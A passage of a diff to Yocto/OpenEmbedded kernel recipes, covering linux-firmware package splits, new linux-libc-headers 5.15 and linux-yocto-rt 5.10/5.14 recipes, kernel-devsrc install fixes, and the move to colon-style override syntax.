+FILES:${PN}-adsp-sst = "${nonarch_base_libdir}/firmware/intel/dsp_fw*"
+RDEPENDS:${PN}-adsp-sst = "${PN}-adsp-sst-license"
+
+# For QAT
+LICENSE:${PN}-qat = "Firmware-qat"
+LICENSE:${PN}-qat-license = "Firmware-qat"
+FILES:${PN}-qat-license = "${nonarch_base_libdir}/firmware/LICENCE.qat_firmware"
+FILES:${PN}-qat = "${nonarch_base_libdir}/firmware/qat*.bin"
+RDEPENDS:${PN}-qat = "${PN}-qat-license"
+
+# For QCOM VPU/GPU and SDM845
+LICENSE:${PN}-qcom-license = "Firmware-qcom"
+FILES:${PN}-qcom-license = "${nonarch_base_libdir}/firmware/LICENSE.qcom ${nonarch_base_libdir}/firmware/qcom/NOTICE.txt"
+FILES:${PN}-qcom-venus-1.8 = "${nonarch_base_libdir}/firmware/qcom/venus-1.8/*"
+FILES:${PN}-qcom-venus-4.2 = "${nonarch_base_libdir}/firmware/qcom/venus-4.2/*"
+FILES:${PN}-qcom-venus-5.2 = "${nonarch_base_libdir}/firmware/qcom/venus-5.2/*"
+FILES:${PN}-qcom-venus-5.4 = "${nonarch_base_libdir}/firmware/qcom/venus-5.4/*"
+FILES:${PN}-qcom-vpu-1.0 = "${nonarch_base_libdir}/firmware/qcom/vpu-1.0/*"
+FILES:${PN}-qcom-vpu-2.0 = "${nonarch_base_libdir}/firmware/qcom/vpu-2.0/*"
+FILES:${PN}-qcom-adreno-a3xx = "${nonarch_base_libdir}/firmware/qcom/a300_*.fw ${nonarch_base_libdir}/firmware/a300_*.fw"
+FILES:${PN}-qcom-adreno-a530 = "${nonarch_base_libdir}/firmware/qcom/a530*.*"
+FILES:${PN}-qcom-adreno-a630 = "${nonarch_base_libdir}/firmware/qcom/a630*.* ${nonarch_base_libdir}/firmware/qcom/sdm845/a630*.*"
+FILES:${PN}-qcom-adreno-a650 = "${nonarch_base_libdir}/firmware/qcom/a650*.* ${nonarch_base_libdir}/firmware/qcom/sm8250/a650*.*"
+FILES:${PN}-qcom-adreno-a660 = "${nonarch_base_libdir}/firmware/qcom/a660*.*"
+FILES:${PN}-qcom-sdm845-audio = "${nonarch_base_libdir}/firmware/qcom/sdm845/adsp*.*"
+FILES:${PN}-qcom-sdm845-compute = "${nonarch_base_libdir}/firmware/qcom/sdm845/cdsp*.*"
+FILES:${PN}-qcom-sdm845-modem = "${nonarch_base_libdir}/firmware/qcom/sdm845/mba.mbn ${nonarch_base_libdir}/firmware/qcom/sdm845/modem*.* ${nonarch_base_libdir}/firmware/qcom/sdm845/wlanmdsp.mbn"
+FILES:${PN}-qcom-sm8250-audio = "${nonarch_base_libdir}/firmware/qcom/sm8250/adsp*.*"
+FILES:${PN}-qcom-sm8250-compute = "${nonarch_base_libdir}/firmware/qcom/sm8250/cdsp*.*"
+RDEPENDS:${PN}-qcom-venus-1.8 = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-venus-4.2 = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-venus-5.2 = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-venus-5.4 = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-vpu-1.0 = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-vpu-2.0 = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-adreno-a3xx = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-adreno-a530 = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-adreno-a630 = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-adreno-a650 = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-adreno-a660 = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-sdm845-audio = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-sdm845-compute = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-sdm845-modem = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-sm8250-audio = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-sm8250-compute = "${PN}-qcom-license"
+
+FILES:${PN}-liquidio = "${nonarch_base_libdir}/firmware/liquidio"
+
+# For Amlogic VDEC
+LICENSE:${PN}-amlogic-vdec = "Firmware-amlogic_vdec"
+FILES:${PN}-amlogic-vdec-license = "${nonarch_base_libdir}/firmware/LICENSE.amlogic_vdec"
+FILES:${PN}-amlogic-vdec = "${nonarch_base_libdir}/firmware/meson/vdec/*"
+RDEPENDS:${PN}-amlogic-vdec = "${PN}-amlogic-vdec-license"
+
+# For other firmwares
+# Maybe split out to separate packages when needed.
+LICENSE:${PN} = "\
+ Firmware-Abilis \
+ & Firmware-agere \
+ & Firmware-amdgpu \
+ & Firmware-amd-ucode \
+ & Firmware-amlogic_vdec \
+ & Firmware-atmel \
+ & Firmware-ca0132 \
+ & Firmware-cavium \
+ & Firmware-chelsio_firmware \
+ & Firmware-cw1200 \
+ & Firmware-dib0700 \
+ & Firmware-e100 \
+ & Firmware-ene_firmware \
+ & Firmware-fw_sst_0f28 \
+ & Firmware-go7007 \
+ & Firmware-hfi1_firmware \
+ & Firmware-i2400m \
+ & Firmware-ibt_firmware \
+ & Firmware-it913x \
+ & Firmware-IntcSST2 \
+ & Firmware-kaweth \
+ & Firmware-moxa \
+ & Firmware-myri10ge_firmware \
+ & Firmware-nvidia \
+ & Firmware-OLPC \
+ & Firmware-ath9k-htc \
+ & Firmware-phanfw \
+ & Firmware-qat \
+ & Firmware-qcom \
+ & Firmware-qla1280 \
+ & Firmware-qla2xxx \
+ & Firmware-r8a779x_usb3 \
+ & Firmware-radeon \
+ & Firmware-ralink_a_mediatek_company_firmware \
+ & Firmware-ralink-firmware \
+ & Firmware-imx-sdma_firmware \
+ & Firmware-siano \
+ & Firmware-tda7706-firmware \
+ & Firmware-ti-connectivity \
+ & Firmware-ti-keystone \
+ & Firmware-ueagle-atm4-firmware \
+ & Firmware-wl1251 \
+ & Firmware-xc4000 \
+ & Firmware-xc5000 \
+ & Firmware-xc5000c \
+ & WHENCE \
+"
+
+FILES:${PN}-license += "${nonarch_base_libdir}/firmware/LICEN*"
+FILES:${PN} += "${nonarch_base_libdir}/firmware/*"
+RDEPENDS:${PN} += "${PN}-license"
+RDEPENDS:${PN} += "${PN}-whence-license"
+
+# Make linux-firmware depend on all of the split-out packages.
+# Make linux-firmware-iwlwifi depend on all of the split-out iwlwifi packages.
+# Make linux-firmware-ibt depend on all of the split-out ibt packages.
+python populate_packages:prepend () {
+ firmware_pkgs = oe.utils.packages_filter_out_system(d)
+ d.appendVar('RRECOMMENDS:linux-firmware', ' ' + ' '.join(firmware_pkgs))
+
+ iwlwifi_pkgs = filter(lambda x: x.find('-iwlwifi-') != -1, firmware_pkgs)
+ d.appendVar('RRECOMMENDS:linux-firmware-iwlwifi', ' ' + ' '.join(iwlwifi_pkgs))
+
+ ibt_pkgs = filter(lambda x: x.find('-ibt-') != -1, firmware_pkgs)
+ d.appendVar('RRECOMMENDS:linux-firmware-ibt', ' ' + ' '.join(ibt_pkgs))
+}
+
+# Firmware files are generally not ran on the CPU, so they can be
+# allarch despite being architecture specific
+INSANE_SKIP = "arch"
diff --git a/meta/recipes-kernel/linux-libc-headers/linux-libc-headers.inc b/meta/recipes-kernel/linux-libc-headers/linux-libc-headers.inc
index 3bceac40cc..3867d09d08 100644
--- a/meta/recipes-kernel/linux-libc-headers/linux-libc-headers.inc
+++ b/meta/recipes-kernel/linux-libc-headers/linux-libc-headers.inc
@@ -1,4 +1,6 @@
SUMMARY = "Sanitized set of kernel headers for the C library's use"
+HOMEPAGE = "https://www.kernel.org/"
+DESCRIPTION = "Designed to maintain an Application Programming Interface (API) stable version of the Linux headers"
SECTION = "devel"
LICENSE = "GPLv2"
@@ -73,15 +75,15 @@ do_install() {
find ${D}${includedir} -name ..install.cmd | xargs rm -f
}
-do_install_append_aarch64 () {
+do_install:append:aarch64 () {
do_install_armmultilib
}
-do_install_append_arm () {
+do_install:append:arm () {
do_install_armmultilib
}
-do_install_append_armeb () {
+do_install:append:armeb () {
do_install_armmultilib
}
@@ -101,8 +103,8 @@ do_install_armmultilib () {
BBCLASSEXTEND = "nativesdk"
-RDEPENDS_${PN}-dev = ""
-RRECOMMENDS_${PN}-dbg = "${PN}-dev (= ${EXTENDPKGV})"
+RDEPENDS:${PN}-dev = ""
+RRECOMMENDS:${PN}-dbg = "${PN}-dev (= ${EXTENDPKGV})"
INHIBIT_DEFAULT_DEPS = "1"
DEPENDS += "unifdef-native bison-native rsync-native"
diff --git a/meta/recipes-kernel/linux-libc-headers/linux-libc-headers/0003-remove-inclusion-of-sysinfo.h-in-kernel.h.patch b/meta/recipes-kernel/linux-libc-headers/linux-libc-headers/0003-remove-inclusion-of-sysinfo.h-in-kernel.h.patch
index b5c4e1750e..b0e7014138 100644
--- a/meta/recipes-kernel/linux-libc-headers/linux-libc-headers/0003-remove-inclusion-of-sysinfo.h-in-kernel.h.patch
+++ b/meta/recipes-kernel/linux-libc-headers/linux-libc-headers/0003-remove-inclusion-of-sysinfo.h-in-kernel.h.patch
@@ -13,17 +13,17 @@ Upstream-Status: Submitted
include/uapi/linux/kernel.h | 2 ++
1 file changed, 2 insertions(+)
-Index: linux-4.8-rc4/include/uapi/linux/kernel.h
+Index: linux-5.12.11/include/uapi/linux/kernel.h
===================================================================
---- linux-4.8-rc4.orig/include/uapi/linux/kernel.h
-+++ linux-4.8-rc4/include/uapi/linux/kernel.h
-@@ -1,7 +1,9 @@
+--- linux-5.12.11.orig/include/uapi/linux/kernel.h
++++ linux-5.12.11/include/uapi/linux/kernel.h
+@@ -2,7 +2,9 @@
#ifndef _UAPI_LINUX_KERNEL_H
#define _UAPI_LINUX_KERNEL_H
+#ifdef __GLIBC__
#include <linux/sysinfo.h>
+ #include <linux/const.h>
+#endif
- /*
- * 'kernel.h' contains some often-used function prototypes etc
+ #endif /* _UAPI_LINUX_KERNEL_H */
diff --git a/meta/recipes-kernel/linux-libc-headers/linux-libc-headers_5.15.bb b/meta/recipes-kernel/linux-libc-headers/linux-libc-headers_5.15.bb
new file mode 100644
index 0000000000..588cc3acd1
--- /dev/null
+++ b/meta/recipes-kernel/linux-libc-headers/linux-libc-headers_5.15.bb
@@ -0,0 +1,20 @@
+require linux-libc-headers.inc
+
+SRC_URI:append:libc-musl = "\
+ file://0001-libc-compat.h-fix-some-issues-arising-from-in6.h.patch \
+ file://0003-remove-inclusion-of-sysinfo.h-in-kernel.h.patch \
+ file://0001-libc-compat.h-musl-_does_-define-IFF_LOWER_UP-DORMAN.patch \
+ file://0001-include-linux-stddef.h-in-swab.h-uapi-header.patch \
+ "
+
+SRC_URI:append = "\
+ file://0001-scripts-Use-fixed-input-and-output-files-instead-of-.patch \
+ file://0001-kbuild-install_headers.sh-Strip-_UAPI-from-if-define.patch \
+"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=6bc538ed5bd9a7fc9398086aedcd7e46"
+
+SRC_URI[md5sum] = "071d49ff4e020d58c04f9f3f76d3b594"
+SRC_URI[sha256sum] = "57b2cf6991910e3b67a1b3490022e8a0674b6965c74c12da1e99d138d1991ee8"
+
+
diff --git a/meta/recipes-kernel/linux-libc-headers/linux-libc-headers_5.8.bb b/meta/recipes-kernel/linux-libc-headers/linux-libc-headers_5.8.bb
deleted file mode 100644
index d76a8a36f8..0000000000
--- a/meta/recipes-kernel/linux-libc-headers/linux-libc-headers_5.8.bb
+++ /dev/null
@@ -1,18 +0,0 @@
-require linux-libc-headers.inc
-
-SRC_URI_append_libc-musl = "\
- file://0001-libc-compat.h-fix-some-issues-arising-from-in6.h.patch \
- file://0003-remove-inclusion-of-sysinfo.h-in-kernel.h.patch \
- file://0001-libc-compat.h-musl-_does_-define-IFF_LOWER_UP-DORMAN.patch \
- file://0001-include-linux-stddef.h-in-swab.h-uapi-header.patch \
- "
-
-SRC_URI_append = "\
- file://0001-scripts-Use-fixed-input-and-output-files-instead-of-.patch \
- file://0001-kbuild-install_headers.sh-Strip-_UAPI-from-if-define.patch \
-"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=6bc538ed5bd9a7fc9398086aedcd7e46"
-
-SRC_URI[md5sum] = "0e5c4c15266218ef26c50fac0016095b"
-SRC_URI[sha256sum] = "e7f75186aa0642114af8f19d99559937300ca27acaf7451b36d4f9b0f85cf1f5"
diff --git a/meta/recipes-kernel/linux/kernel-devsrc.bb b/meta/recipes-kernel/linux/kernel-devsrc.bb
index 8a900ed182..4ceb35f0d2 100644
--- a/meta/recipes-kernel/linux/kernel-devsrc.bb
+++ b/meta/recipes-kernel/linux/kernel-devsrc.bb
@@ -48,7 +48,7 @@ do_install() {
mkdir -p ${D}/usr/src
(
cd ${D}/usr/src
- lnr ${D}${KERNEL_BUILD_ROOT}${KERNEL_VERSION}/source kernel
+ ln -rs ${D}${KERNEL_BUILD_ROOT}${KERNEL_VERSION}/source kernel
)
# for on target purposes, we unify build and source
@@ -109,8 +109,12 @@ do_install() {
fi
fi
- if [ "${ARCH}" = "arm64" ]; then
- cp -a --parents arch/arm64/kernel/vdso/vdso.lds $kerneldir/build/
+ if [ "${ARCH}" = "arm64" -o "${ARCH}" = "riscv" ]; then
+ cp -a --parents arch/${ARCH}/kernel/vdso/vdso.lds $kerneldir/build/
+ fi
+ if [ "${ARCH}" = "powerpc" ]; then
+ cp -a --parents arch/powerpc/kernel/vdso32/vdso32.lds $kerneldir/build 2>/dev/null || :
+ cp -a --parents arch/powerpc/kernel/vdso64/vdso64.lds $kerneldir/build 2>/dev/null || :
fi
cp -a include $kerneldir/build/include
@@ -163,6 +167,14 @@ do_install() {
cp -a --parents arch/arm64/kernel/vdso/gen_vdso_offsets.sh $kerneldir/build/
cp -a --parents arch/arm64/kernel/module.lds $kerneldir/build/ 2>/dev/null || :
+
+ # 5.13+ needs these tools
+ cp -a --parents arch/arm64/tools/gen-cpucaps.awk $kerneldir/build/ 2>/dev/null || :
+ cp -a --parents arch/arm64/tools/cpucaps $kerneldir/build/ 2>/dev/null || :
+
+ if [ -e $kerneldir/build/arch/arm64/tools/gen-cpucaps.awk ]; then
+ sed -i -e "s,#!.*awk.*,#!${USRBINPATH}/env awk," $kerneldir/build/arch/arm64/tools/gen-cpucaps.awk
+ fi
fi
if [ "${ARCH}" = "powerpc" ]; then
@@ -170,6 +182,14 @@ do_install() {
cp -a --parents arch/${ARCH}/kernel/syscalls/syscall.tbl $kerneldir/build/ 2>/dev/null || :
cp -a --parents arch/${ARCH}/kernel/syscalls/syscalltbl.sh $kerneldir/build/ 2>/dev/null || :
cp -a --parents arch/${ARCH}/kernel/syscalls/syscallhdr.sh $kerneldir/build/ 2>/dev/null || :
+ cp -a --parents arch/${ARCH}/kernel/vdso32/* $kerneldir/build/ 2>/dev/null || :
+ cp -a --parents arch/${ARCH}/kernel/vdso64/* $kerneldir/build/ 2>/dev/null || :
+ fi
+ if [ "${ARCH}" = "riscv" ]; then
+ cp -a --parents arch/riscv/kernel/vdso/*gettimeofday.* $kerneldir/build/
+ cp -a --parents arch/riscv/kernel/vdso/note.S $kerneldir/build/
+ cp -a --parents arch/riscv/kernel/vdso/gen_vdso_offsets.sh $kerneldir/build/
+ cp -a --parents arch/riscv/kernel/vdso/* $kerneldir/build/ 2>/dev/null || :
fi
# include the machine specific headers for ARM variants, if available.
@@ -186,7 +206,7 @@ do_install() {
cp -a --parents $SYSCALL_TOOLS $kerneldir/build/
fi
- cp -a --parents arch/arm/kernel/module.lds $kerneldir/build/
+ cp -a --parents arch/arm/kernel/module.lds $kerneldir/build/ 2>/dev/null || :
fi
if [ -d arch/${ARCH}/include ]; then
@@ -206,10 +226,10 @@ do_install() {
if [ "${ARCH}" = "x86" ]; then
# files for 'make prepare' to succeed with kernel-devel
- cp -a --parents $(find arch/x86 -type f -name "syscall_32.tbl") $kerneldir/build/
- cp -a --parents $(find arch/x86 -type f -name "syscalltbl.sh") $kerneldir/build/
- cp -a --parents $(find arch/x86 -type f -name "syscallhdr.sh") $kerneldir/build/
- cp -a --parents $(find arch/x86 -type f -name "syscall_64.tbl") $kerneldir/build/
+ cp -a --parents $(find arch/x86 -type f -name "syscall_32.tbl") $kerneldir/build/ 2>/dev/null || :
+ cp -a --parents $(find arch/x86 -type f -name "syscalltbl.sh") $kerneldir/build/ 2>/dev/null || :
+ cp -a --parents $(find arch/x86 -type f -name "syscallhdr.sh") $kerneldir/build/ 2>/dev/null || :
+ cp -a --parents $(find arch/x86 -type f -name "syscall_64.tbl") $kerneldir/build/ 2>/dev/null || :
cp -a --parents arch/x86/tools/relocs_32.c $kerneldir/build/
cp -a --parents arch/x86/tools/relocs_64.c $kerneldir/build/
cp -a --parents arch/x86/tools/relocs.c $kerneldir/build/
@@ -271,6 +291,13 @@ do_install() {
if [ -e "$kerneldir/build/include/config/auto.conf.cmd" ]; then
sed -i 's/ifneq "$(CC)" ".*-linux-.*gcc.*$/ifneq "$(CC)" "gcc"/' "$kerneldir/build/include/config/auto.conf.cmd"
sed -i 's/ifneq "$(LD)" ".*-linux-.*ld.bfd.*$/ifneq "$(LD)" "ld"/' "$kerneldir/build/include/config/auto.conf.cmd"
+ sed -i 's/ifneq "$(AR)" ".*-linux-.*ar.*$/ifneq "$(AR)" "ar"/' "$kerneldir/build/include/config/auto.conf.cmd"
+ sed -i 's/ifneq "$(OBJCOPY)" ".*-linux-.*objcopy.*$/ifneq "$(OBJCOPY)" "objcopy"/' "$kerneldir/build/include/config/auto.conf.cmd"
+ if [ "${ARCH}" = "powerpc" ]; then
+ sed -i 's/ifneq "$(NM)" ".*-linux-.*nm.*$/ifneq "$(NM)" "nm --synthetic"/' "$kerneldir/build/include/config/auto.conf.cmd"
+ else
+ sed -i 's/ifneq "$(NM)" ".*-linux-.*nm.*$/ifneq "$(NM)" "nm"/' "$kerneldir/build/include/config/auto.conf.cmd"
+ fi
sed -i 's/ifneq "$(HOSTCXX)" ".*$/ifneq "$(HOSTCXX)" "g++"/' "$kerneldir/build/include/config/auto.conf.cmd"
sed -i 's/ifneq "$(HOSTCC)" ".*$/ifneq "$(HOSTCC)" "gcc"/' "$kerneldir/build/include/config/auto.conf.cmd"
sed -i 's/ifneq "$(CC_VERSION_TEXT)".*\(gcc.*\)"/ifneq "$(CC_VERSION_TEXT)" "\1"/' "$kerneldir/build/include/config/auto.conf.cmd"
@@ -294,13 +321,17 @@ do_install() {
# Ensure we don't race against "make scripts" during cpio
do_install[lockfiles] = "${TMPDIR}/kernel-scripts.lock"
-FILES_${PN} = "${KERNEL_BUILD_ROOT} ${KERNEL_SRC_PATH}"
-FILES_${PN}-dbg += "${KERNEL_BUILD_ROOT}*/build/scripts/*/.debug/*"
+FILES:${PN} = "${KERNEL_BUILD_ROOT} ${KERNEL_SRC_PATH}"
+FILES:${PN}-dbg += "${KERNEL_BUILD_ROOT}*/build/scripts/*/.debug/*"
-RDEPENDS_${PN} = "bc python3 flex bison ${TCLIBC}-utils"
+RDEPENDS:${PN} = "bc python3 flex bison ${TCLIBC}-utils"
# 4.15+ needs these next two RDEPENDS
-RDEPENDS_${PN} += "openssl-dev util-linux"
+RDEPENDS:${PN} += "openssl-dev util-linux"
# and x86 needs a bit more for 4.15+
-RDEPENDS_${PN} += "${@bb.utils.contains('ARCH', 'x86', 'elfutils', '', d)}"
+RDEPENDS:${PN} += "${@bb.utils.contains('ARCH', 'x86', 'elfutils-dev', '', d)}"
# 5.8+ needs gcc-plugins libmpc-dev
-RDEPENDS_${PN} += "gcc-plugins libmpc-dev"
+RDEPENDS:${PN} += "gcc-plugins libmpc-dev"
+# 5.13+ needs awk for arm64
+RDEPENDS:${PN}:append:aarch64 = " gawk"
+# 5.13+ needs grep for powerpc
+RDEPENDS:${PN}:append:powerpc = " grep"
diff --git a/meta/recipes-kernel/linux/linux-dummy.bb b/meta/recipes-kernel/linux/linux-dummy.bb
index 62cf6f5ea6..175e660687 100644
--- a/meta/recipes-kernel/linux/linux-dummy.bb
+++ b/meta/recipes-kernel/linux/linux-dummy.bb
@@ -5,26 +5,28 @@ where you wish to build the kernel externally from the build system."
SECTION = "kernel"
LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://${WORKDIR}/COPYING.GPL;md5=751419260aa954499f7abaabaa882bbe"
+LIC_FILES_CHKSUM = "file://COPYING.GPL;md5=751419260aa954499f7abaabaa882bbe"
PROVIDES += "virtual/kernel"
+inherit deploy linux-dummy
+
PACKAGES_DYNAMIC += "^kernel-module-.*"
PACKAGES_DYNAMIC += "^kernel-image-.*"
PACKAGES_DYNAMIC += "^kernel-firmware-.*"
PACKAGES += "kernel-modules kernel-vmlinux"
-FILES_kernel-modules = ""
-ALLOW_EMPTY_kernel-modules = "1"
-DESCRIPTION_kernel-modules = "Kernel modules meta package"
-FILES_kernel-vmlinux = ""
-ALLOW_EMPTY_kernel-vmlinux = "1"
-DESCRIPTION_kernel-vmlinux = "Kernel vmlinux meta package"
+FILES:kernel-modules = ""
+ALLOW_EMPTY:kernel-modules = "1"
+DESCRIPTION:kernel-modules = "Kernel modules meta package"
+FILES:kernel-vmlinux = ""
+ALLOW_EMPTY:kernel-vmlinux = "1"
+DESCRIPTION:kernel-vmlinux = "Kernel vmlinux meta package"
INHIBIT_DEFAULT_DEPS = "1"
-#COMPATIBLE_MACHINE = "your_machine"
+COMPATIBLE_HOST = ".*-linux"
PR = "r1"
diff --git a/meta/recipes-kernel/linux/linux-yocto-dev.bb b/meta/recipes-kernel/linux/linux-yocto-dev.bb
index 6272af6253..80f62a0412 100644
--- a/meta/recipes-kernel/linux/linux-yocto-dev.bb
+++ b/meta/recipes-kernel/linux/linux-yocto-dev.bb
@@ -16,7 +16,7 @@ inherit pkgconfig
# provide this .inc to set specific revisions
include recipes-kernel/linux/linux-yocto-dev-revisions.inc
-KBRANCH = "standard/base"
+KBRANCH ?= "v5.16/standard/base"
KMETA = "kernel-meta"
SRC_URI = "git://git.yoctoproject.org/linux-yocto-dev.git;branch=${KBRANCH};name=machine \
@@ -30,7 +30,7 @@ SRC_URI = "git://git.yoctoproject.org/linux-yocto-dev.git;branch=${KBRANCH};name
SRCREV_machine ?= '${@oe.utils.conditional("PREFERRED_PROVIDER_virtual/kernel", "linux-yocto-dev", "${AUTOREV}", "29594404d7fe73cd80eaa4ee8c43dcc53970c60e", d)}'
SRCREV_meta ?= '${@oe.utils.conditional("PREFERRED_PROVIDER_virtual/kernel", "linux-yocto-dev", "${AUTOREV}", "29594404d7fe73cd80eaa4ee8c43dcc53970c60e", d)}'
-LINUX_VERSION ?= "5.10-rc+"
+LINUX_VERSION ?= "5.16+"
LINUX_VERSION_EXTENSION ?= "-yoctodev-${LINUX_KERNEL_TYPE}"
PV = "${LINUX_VERSION}+git${SRCPV}"
@@ -38,17 +38,30 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=6bc538ed5bd9a7fc9398086aedcd7e46"
DEPENDS += "${@bb.utils.contains('ARCH', 'x86', 'elfutils-native', '', d)}"
DEPENDS += "openssl-native util-linux-native"
+DEPENDS += "gmp-native libmpc-native"
+
+# yaml and dtschema are required for 5.16+ device tree validation, libyaml is checked
+# via pkgconfig, so must always be present, but we can wrap the others to make them
+# conditional
+DEPENDS += "libyaml-native"
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[dt-validation] = ",,python3-dtschema-native"
+# we need the wrappers if validation isn't in the packageconfig
+DEPENDS += "${@bb.utils.contains('PACKAGECONFIG', 'dt-validation', '', 'python3-dtschema-wrapper-native', d)}"
COMPATIBLE_MACHINE = "(qemuarm|qemux86|qemuppc|qemumips|qemumips64|qemux86-64|qemuriscv64)"
-KERNEL_DEVICETREE_qemuarmv5 = "versatile-pb.dtb"
+KERNEL_DEVICETREE:qemuarmv5 = "versatile-pb.dtb"
# Functionality flags
KERNEL_EXTRA_FEATURES ?= "features/netfilter/netfilter.scc features/taskstats/taskstats.scc"
-KERNEL_FEATURES_append = " ${KERNEL_EXTRA_FEATURES}"
-KERNEL_FEATURES_append_qemuall=" cfg/virtio.scc features/drm-bochs/drm-bochs.scc"
-KERNEL_FEATURES_append_qemux86=" cfg/sound.scc cfg/paravirt_kvm.scc"
-KERNEL_FEATURES_append_qemux86-64=" cfg/sound.scc cfg/paravirt_kvm.scc"
-KERNEL_FEATURES_append = " ${@bb.utils.contains("TUNE_FEATURES", "mx32", " cfg/x32.scc", "", d)}"
+KERNEL_FEATURES:append = " ${KERNEL_EXTRA_FEATURES}"
+KERNEL_FEATURES:append:qemuall=" cfg/virtio.scc features/drm-bochs/drm-bochs.scc"
+KERNEL_FEATURES:append:qemux86=" cfg/sound.scc cfg/paravirt_kvm.scc"
+KERNEL_FEATURES:append:qemux86-64=" cfg/sound.scc cfg/paravirt_kvm.scc"
+KERNEL_FEATURES:append = " ${@bb.utils.contains("TUNE_FEATURES", "mx32", " cfg/x32.scc", "", d)}"
+KERNEL_FEATURES:append = " ${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/scsi/scsi-debug.scc", "", d)}"
+KERNEL_FEATURES:append = " ${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/gpio/mockup.scc", "", d)}"
KERNEL_VERSION_SANITY_SKIP = "1"
diff --git a/meta/recipes-kernel/linux/linux-yocto-rt_5.10.bb b/meta/recipes-kernel/linux/linux-yocto-rt_5.10.bb
new file mode 100644
index 0000000000..47f8ff27ee
--- /dev/null
+++ b/meta/recipes-kernel/linux/linux-yocto-rt_5.10.bb
@@ -0,0 +1,45 @@
+KBRANCH ?= "v5.10/standard/preempt-rt/base"
+
+require recipes-kernel/linux/linux-yocto.inc
+
+# Skip processing of this recipe if it is not explicitly specified as the
+# PREFERRED_PROVIDER for virtual/kernel. This avoids errors when trying
+# to build multiple virtual/kernel providers, e.g. as dependency of
+# core-image-rt-sdk, core-image-rt.
+python () {
+ if d.getVar("KERNEL_PACKAGE_NAME") == "kernel" and d.getVar("PREFERRED_PROVIDER_virtual/kernel") != "linux-yocto-rt":
+ raise bb.parse.SkipRecipe("Set PREFERRED_PROVIDER_virtual/kernel to linux-yocto-rt to enable it")
+}
+
+SRCREV_machine ?= "23f3ad608bc75fc89f49a533ac4e5ed8deaa33b0"
+SRCREV_meta ?= "64fb693a6c11f21bab3ff9bb8dcb65a70abe05e3"
+
+SRC_URI = "git://git.yoctoproject.org/linux-yocto.git;branch=${KBRANCH};name=machine \
+ git://git.yoctoproject.org/yocto-kernel-cache;type=kmeta;name=meta;branch=yocto-5.10;destsuffix=${KMETA}"
+
+LINUX_VERSION ?= "5.10.82"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=6bc538ed5bd9a7fc9398086aedcd7e46"
+
+DEPENDS += "${@bb.utils.contains('ARCH', 'x86', 'elfutils-native', '', d)}"
+DEPENDS += "openssl-native util-linux-native"
+
+PV = "${LINUX_VERSION}+git${SRCPV}"
+
+KMETA = "kernel-meta"
+KCONF_BSP_AUDIT_LEVEL = "1"
+
+LINUX_KERNEL_TYPE = "preempt-rt"
+
+COMPATIBLE_MACHINE = "(qemux86|qemux86-64|qemuarm|qemuarmv5|qemuarm64|qemuppc|qemumips)"
+
+KERNEL_DEVICETREE:qemuarmv5 = "versatile-pb.dtb"
+
+# Functionality flags
+KERNEL_EXTRA_FEATURES ?= "features/netfilter/netfilter.scc features/taskstats/taskstats.scc"
+KERNEL_FEATURES:append = " ${KERNEL_EXTRA_FEATURES}"
+KERNEL_FEATURES:append:qemuall=" cfg/virtio.scc features/drm-bochs/drm-bochs.scc"
+KERNEL_FEATURES:append:qemux86=" cfg/sound.scc cfg/paravirt_kvm.scc"
+KERNEL_FEATURES:append:qemux86-64=" cfg/sound.scc cfg/paravirt_kvm.scc"
+KERNEL_FEATURES:append = "${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/scsi/scsi-debug.scc", "", d)}"
+KERNEL_FEATURES:append = "${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/gpio/mockup.scc", "", d)}"
diff --git a/meta/recipes-kernel/linux/linux-yocto-rt_5.14.bb b/meta/recipes-kernel/linux/linux-yocto-rt_5.14.bb
new file mode 100644
index 0000000000..7dcab51f01
--- /dev/null
+++ b/meta/recipes-kernel/linux/linux-yocto-rt_5.14.bb
@@ -0,0 +1,45 @@
+KBRANCH ?= "v5.14/standard/preempt-rt/base"
+
+require recipes-kernel/linux/linux-yocto.inc
+
+# Skip processing of this recipe if it is not explicitly specified as the
+# PREFERRED_PROVIDER for virtual/kernel. This avoids errors when trying
+# to build multiple virtual/kernel providers, e.g. as dependency of
+# core-image-rt-sdk, core-image-rt.
+python () {
+ if d.getVar("KERNEL_PACKAGE_NAME") == "kernel" and d.getVar("PREFERRED_PROVIDER_virtual/kernel") != "linux-yocto-rt":
+ raise bb.parse.SkipRecipe("Set PREFERRED_PROVIDER_virtual/kernel to linux-yocto-rt to enable it")
+}
+
+SRCREV_machine ?= "b18aaa90f5ce15336aacf4cc24c7a086aeb4bc84"
+SRCREV_meta ?= "4f4ad2c8083408bb303e110090dcf5ca0ad447dd"
+
+SRC_URI = "git://git.yoctoproject.org/linux-yocto.git;branch=${KBRANCH};name=machine \
+ git://git.yoctoproject.org/yocto-kernel-cache;type=kmeta;name=meta;branch=yocto-5.14;destsuffix=${KMETA}"
+
+LINUX_VERSION ?= "5.14.21"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=6bc538ed5bd9a7fc9398086aedcd7e46"
+
+DEPENDS += "${@bb.utils.contains('ARCH', 'x86', 'elfutils-native', '', d)}"
+DEPENDS += "openssl-native util-linux-native"
+
+PV = "${LINUX_VERSION}+git${SRCPV}"
+
+KMETA = "kernel-meta"
+KCONF_BSP_AUDIT_LEVEL = "1"
+
